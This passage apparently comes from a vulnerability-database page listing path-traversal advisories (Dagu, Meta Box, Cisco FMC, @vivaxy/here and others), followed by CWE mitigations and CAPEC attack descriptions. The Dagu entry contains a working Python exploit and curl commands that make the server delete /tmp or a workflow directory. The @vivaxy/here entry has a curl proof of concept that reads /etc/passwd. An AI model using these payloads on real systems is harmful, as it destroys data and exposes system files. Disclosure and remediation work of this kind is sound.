data.get(\"token\") or data.get(\"accessToken\")\n            if not token:\n                print(f\"Login response did not contain a token: {data}\")\n                sys.exit(1)\n            return token\n    except urllib.error.HTTPError as e:\n        print(f\"Login failed (HTTP {e.code}): {e.read().decode()}\")\n        sys.exit(1)\n\n\ndef send_exploit(base_url, token, traversal):\n    body = json.dumps({\n        \"spec\": \"steps:\\n  - name: s\\n    command: id\\n\",\n        \"dagRunId\": traversal,\n    }).encode()\n    headers = {\"Content-Type\": \"application/json\"}\n    if token:\n        headers[\"Authorization\"] = f\"Bearer {token}\"\n    req = urllib.request.Request(\n        f\"{base_url}/api/v1/dag-runs\",\n        data=body,\n        headers=headers,\n        method=\"POST\",\n    )\n    try:\n        with urllib.request.urlopen(req, timeout=15) as resp:\n            return resp.status, json.loads(resp.read())\n    except urllib.error.HTTPError as e:\n        return e.code, e.read().decode()\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--url\", default=\"http://localhost:8080\")\n    parser.add_argument(\"--token\", default=\"\")\n    parser.add_argument(\"--username\", default=\"admin\")\n    parser.add_argument(\"--password\", default=\"\")\n    parser.add_argument(\"--traversal\", default=\"..\",\n                        help=\"Value for dagRunId (default: \u0027..\u0027)\")\n    args = parser.parse_args()\n\n    base_url = args.url.rstrip(\"/\")\n    traversal = args.traversal\n\n    import posixpath\n    name_hint = \"inline\"\n    expected_dir = posixpath.normpath(f\"/tmp/{name_hint}/{traversal}\")\n    print(f\"Target server : {base_url}\")\n    print(f\"dagRunId value: {repr(traversal)}\")\n    print(f\"Resolved tmpDir (Linux): filepath.Join(\u0027/tmp\u0027, \u0027{name_hint}\u0027, \u0027{traversal}\u0027) = \u0027{expected_dir}\u0027\")\n    print(f\"os.RemoveAll will target: \u0027{expected_dir}\u0027\")\n    print()\n\n    token = args.token\n    if not token and args.password:\n        print(\"Obtaining JWT token...\")\n        token = login(base_url, args.username, args.password)\n        print(f\"Token obtained: {token[:30]}...\")\n    elif not token:\n        print(\"No token provided. Proceeding without authentication (requires auth.mode: none).\")\n    print()\n\n    tmp_before = os.path.exists(expected_dir) if os.path.isabs(expected_dir) else None\n    if tmp_before is not None:\n        print(f\"\u0027{expected_dir}\u0027 exists before request: {tmp_before}\")\n\n    print(f\"Sending request to {base_url}/api/v1/dag-runs ...\")\n    status, body = send_exploit(base_url, token, traversal)\n    print(f\"HTTP {status}: {body}\")\n    print()\n\n    if status not in (200, 201):\n        print(f\"Unexpected status {status}. Check credentials or server configuration.\")\n        sys.exit(1)\n\n    time.sleep(0.5)\n\n    if tmp_before is not None:\n        tmp_after = os.path.exists(expected_dir)\n        print(f\"\u0027{expected_dir}\u0027 exists after request: {tmp_after}\")\n        if not tmp_after:\n            print()\n            print(\"CONFIRMED: path traversal caused os.RemoveAll to delete the target directory.\")\n        else:\n            print()\n            print(\"Directory still exists. If running against a remote server, check\")\n            print(f\"on the server host whether \u0027{expected_dir}\u0027 was modified.\")\n    else:\n        print(f\"Cannot verify filesystem state from this host.\")\n        print(f\"On the server, check whether \u0027{expected_dir}\u0027 was modified after the request.\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Local test setup (no existing dagu installation needed)\n\n```bash\n# Download the latest dagu binary\ncurl -L https://github.com/dagu-org/dagu/releases/latest/download/dagu_linux_amd64.tar.gz \\\n  | tar -xz\n\n# Start with no authentication for simplest reproduction\ncat \u003e /tmp/dagu-test.yaml \u003c\u003c\u0027EOF\u0027\nauth:\n  mode: none\nEOF\n\n./dagu server --config /tmp/dagu-test.yaml \u0026\nSERVER_PID=$!\nsleep 2\n\n# Confirm /tmp is accessible\necho \"Files in /tmp before: $(ls /tmp | wc -l)\"\n\n# Run the exploit\ncurl -s -X POST http://localhost:8080/api/v1/dag-runs \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"spec\":\"steps:\\n  - name: s\\n    command: id\\n\",\"dagRunId\":\"..\"}\u0027\n\nsleep 1\n\n# Check whether dagu-owned temp files were deleted\necho \"Files in /tmp after:  $(ls /tmp | wc -l)\"\n\nkill $SERVER_PID\n```\n\n### Variant: target the enqueue endpoint\n\nBoth endpoints are affected via the same `loadInlineDAG` call:\n\n```bash\ncurl -s -X POST http://TARGET:8080/api/v1/dag-runs/enqueue \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d \u0027{\"spec\":\"steps:\\n  - name: s\\n    command: id\\n\",\"dagRunId\":\"..\"}\u0027\n```\n\n### Variant: file write outside /tmp\n\nWith a `dagRunId` value that traverses to a known writable directory, the spec content is written there as `\u003cnameHint\u003e.yaml` before the cleanup removes that directory:\n\n```json\n{\n  \"spec\": \"steps:\\n  - name: s\\n    command: id\\n\",\n  \"name\": \"payload\",\n  \"dagRunId\": \"../../home/dagu/dags\"\n}\n```\n\nThis writes `/home/dagu/dags/payload.yaml`, executes it, then calls `os.RemoveAll(\"/home/dagu/dags\")`, deleting the entire DAGs directory. The exact path depends on the deployment but can be inferred from error messages or default paths.\n\n\n## 7. Impact\n\n**Denial of Service (primary)**\n\nOn every deployment, an authenticated operator can send one request to trigger `os.RemoveAll` on a directory outside the intended temp subdirectory. With `dagRunId=\"..\"`, the target is `/tmp`. On a non-root deployment with Linux sticky bit semantics, all temp files in `/tmp` created by the dagu user are deleted. Any running dagu workflow that depends on temp files in progress is interrupted. The attack can be repeated continuously with no rate limiting, preventing recovery.\n\nOn Docker-based deployments where dagu runs as root inside a container (a common pattern for dagu installations), `os.RemoveAll(\"/tmp\")` removes all contents of `/tmp` inside the container. This affects every process in the container that uses `/tmp`, including shared libraries unpacked at runtime, unix sockets, and lock files.\n\n**Arbitrary file write (secondary)**\n\nThe spec YAML content provided by the attacker is written to `filepath.Join(tmpDir, nameHint+\".yaml\")` where both `tmpDir` and `nameHint` can be influenced. If the attacker knows or can guess the path of a directory writable by the dagu process (for example, the DAGs directory), they can write arbitrary YAML content there. Because `spec.Load` reads from that path and executes the spec, this also provides a mechanism for persisting a workflow definition containing attacker-controlled commands in the DAGs directory before the cleanup removes it.\n\n**Deletion of the DAGs directory (combined)**\n\nThe combination of the file write and the cleanup allows an authenticated operator to permanently delete the entire DAGs directory in a single request by pointing `dagRunId` at that path. This destroys all workflow definitions for all users of the dagu instance.\n\n\n## 8. Affected Versions\n\nThe `loadInlineDAG` function and both calling handlers (`ExecuteDAGRunFromSpec` and `EnqueueDAGRunFromSpec`) are present in the current `main` branch. The vulnerability has existed since these endpoints were introduced. No fix is present as of the review date of 2026-02-24.\n\nAuthentication requirements differ by version:\n- Versions 1.30.3 and earlier: default `auth.mode` was `none`, so this is exploitable without credentials\n- Versions after 1.30.3: default `auth.mode` is `builtin`, so operator-level credentials are required\n\n\n## 9. Recommended Fix\n\nValidate `dagRunID` before use in `loadInlineDAG`. The OpenAPI schema already defines the correct pattern. Enforce it at the application layer:\n\n```go\n// Add at the start of loadInlineDAG, before filepath.Join:\nvar validDAGRunID = regexp.MustCompile(`^[a-zA-Z0-9_-]+$`)\n\nif dagRunID != \"\" \u0026\u0026 !validDAGRunID.MatchString(dagRunID) {\n    return nil, func() {}, \u0026Error{\n        HTTPStatus: http.StatusBadRequest,\n        Code:       api.ErrorCodeBadRequest,\n        Message:    \"dagRunId contains invalid characters\",\n    }\n}\n```\n\nAs a defense-in-depth measure, verify that the resolved `tmpDir` is actually inside the expected base after joining:\n\n```go\ntmpDir := filepath.Join(os.TempDir(), nameHint, dagRunID)\nexpectedBase := filepath.Join(os.TempDir(), nameHint)\nif !strings.HasPrefix(tmpDir+string(filepath.Separator), expectedBase+string(filepath.Separator)) {\n    return nil, func() {}, \u0026Error{\n        HTTPStatus: http.StatusBadRequest,\n        Code:       api.ErrorCodeBadRequest,\n        Message:    \"dagRunId resolves outside the permitted temp directory\",\n    }\n}\n```\n\nThe same fix must be applied to both `ExecuteDAGRunFromSpec` and `EnqueueDAGRunFromSpec`. Additionally, enabling `StrictValidation: true` as the default configuration would provide an extra layer of enforcement at the API boundary.",
  "id": "GHSA-m4q3-457p-hh2x",
  "modified": "2026-03-16T16:36:34Z",
  "published": "2026-03-13T15:40:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dagu-org/dagu/security/advisories/GHSA-m4q3-457p-hh2x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31886"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dagu-org/dagu/commit/12c2e5395bd9331d49ca103593edfd0db39c4f38"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dagu-org/dagu"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4693"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dagu: Path Traversal via `dagRunId` in Inline DAG Execution"
}

GHSA-M4Q3-832V-44J6

Vulnerability from github – Published: 2026-03-07 09:30 – Updated: 2026-03-10 19:34
VLAI
Summary
Meta Box Plugin for WordPress: Authenticated (Contributor+) Arbitrary File Deletion via ajax_delete_file
Details

The Meta Box plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'ajax_delete_file' function in all versions up to, and including, 5.11.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wpmetabox/meta-box"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.11.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-14675"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T19:34:19Z",
    "nvd_published_at": "2026-03-07T08:16:05Z",
    "severity": "HIGH"
  },
  "details": "The Meta Box plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the \u0027ajax_delete_file\u0027 function in all versions up to, and including, 5.11.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).",
  "id": "GHSA-m4q3-832v-44j6",
  "modified": "2026-03-10T19:34:19Z",
  "published": "2026-03-07T09:30:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14675"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wpmetabox/meta-box/pull/1654"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wpmetabox/meta-box/commit/08c6511607b9cc9fe8d0de7a7e91c9d5d415f831"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wpmetabox/meta-box"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/meta-box/tags/5.11.0/inc/fields/file.php#L30"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/meta-box/tags/5.11.0/inc/fields/file.php#L54"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3475210/meta-box#file3"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/036467de-95bb-4bfd-9522-df8dc17f3102?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Meta Box Plugin for WordPress: Authenticated (Contributor+) Arbitrary File Deletion via ajax_delete_file"
}

GHSA-M4RH-GX48-V325

Vulnerability from github – Published: 2022-05-14 01:17 – Updated: 2022-05-14 01:17
VLAI
Details

PHP Scripts Mall Basic B2B Script 2.0.9 has has directory traversal via a direct request for a listing of an image directory such as an uploads/ directory.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-20646"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-03-21T16:00:00Z",
    "severity": "MODERATE"
  },
  "details": "PHP Scripts Mall Basic B2B Script 2.0.9 has has directory traversal via a direct request for a listing of an image directory such as an uploads/ directory.",
  "id": "GHSA-m4rh-gx48-v325",
  "modified": "2022-05-14T01:17:02Z",
  "published": "2022-05-14T01:17:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20646"
    },
    {
      "type": "WEB",
      "url": "https://gkaim.com/cve-2018-20646-vikas-chaudhary"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M4RX-55J5-4P43

Vulnerability from github – Published: 2022-05-24 16:57 – Updated: 2024-04-04 02:07
VLAI
Details

A vulnerability in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an authenticated, remote attacker to perform a directory traversal attack on an affected device. The vulnerability is due to insufficient input validation by the web-based management interface. An attacker could exploit this vulnerability by sending a crafted HTTP request to the web-based management interface. A successful exploit could allow the attacker to bypass Cisco FMC Software security restrictions and gain access to the underlying filesystem of the affected device.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-12691"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-02T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an authenticated, remote attacker to perform a directory traversal attack on an affected device. The vulnerability is due to insufficient input validation by the web-based management interface. An attacker could exploit this vulnerability by sending a crafted HTTP request to the web-based management interface. A successful exploit could allow the attacker to bypass Cisco FMC Software security restrictions and gain access to the underlying filesystem of the affected device.",
  "id": "GHSA-m4rx-55j5-4p43",
  "modified": "2024-04-04T02:07:17Z",
  "published": "2022-05-24T16:57:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12691"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20191002-fmc-dir-trav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M4VV-P6FQ-JHQP

Vulnerability from github – Published: 2020-09-01 19:04 – Updated: 2021-09-23 21:48
VLAI
Summary
Directory Traversal in @vivaxy/here
Details

The @vivaxy/here module is a small web server that serves files with the process' working directory acting as the web root.

It is vulnerable to a directory traversal attack.

This means that files on the local file system which exist outside of the web root may be disclosed to an attacker. This might include confidential files.

Mitigating Factors: If the node process is run as a user with very limited filesystem permissions, there is significantly less risk of exposing confidential/private information.

Proof of Concept:

curl "http://${SERVER_IP}:${SERVER_PORT}/..%2f..%2fetc/passwd"

Recommendation

Run npm i @vivaxy/here to install the latest version that addresses this vulnerability.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.2.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@vivaxy/here"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:27:40Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "The @vivaxy/here module is a small web server that serves files with the process\u0027 working directory acting as the web root.\n\nIt is vulnerable to a directory traversal attack. \n\nThis means that files on the local file system which exist outside of the web root may be disclosed to an attacker. This might include confidential files.\n\nMitigating Factors:\nIf the node process is run as a user with very limited filesystem permissions, there is significantly less risk of exposing confidential/private information.\n\n\nProof of Concept:\n```\ncurl \"http://${SERVER_IP}:${SERVER_PORT}/..%2f..%2fetc/passwd\"\n```\n\n\n## Recommendation\n\nRun `npm i @vivaxy/here` to install the latest version that addresses this vulnerability.",
  "id": "GHSA-m4vv-p6fq-jhqp",
  "modified": "2021-09-23T21:48:53Z",
  "published": "2020-09-01T19:04:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vivaxy/here/commit/298dbab41344dfb7f95f66b1fa7b5cfb436bd4a2"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/296254"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vivaxy/here"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/557"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Directory Traversal in @vivaxy/here"
}

GHSA-M523-2W8W-XF3G

Vulnerability from github – Published: 2022-05-02 06:13 – Updated: 2022-05-02 06:13
VLAI
Details

Directory traversal vulnerability in FTP Server in Apple Mac OS X Server before 10.6.3 allows remote authenticated users to read arbitrary files via crafted filenames.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2010-0501"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-03-30T18:30:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in FTP Server in Apple Mac OS X Server before 10.6.3 allows remote authenticated users to read arbitrary files via crafted filenames.",
  "id": "GHSA-m523-2w8w-xf3g",
  "modified": "2022-05-02T06:13:20Z",
  "published": "2022-05-02T06:13:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-0501"
    },
    {
      "type": "WEB",
      "url": "http://lists.apple.com/archives/security-announce/2010//Mar/msg00001.html"
    },
    {
      "type": "WEB",
      "url": "http://support.apple.com/kb/HT4077"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-21.1
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Architecture and Design Operation

Strategy: Attack Surface Reduction

  • Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
  • This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-126: Path Traversal

An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.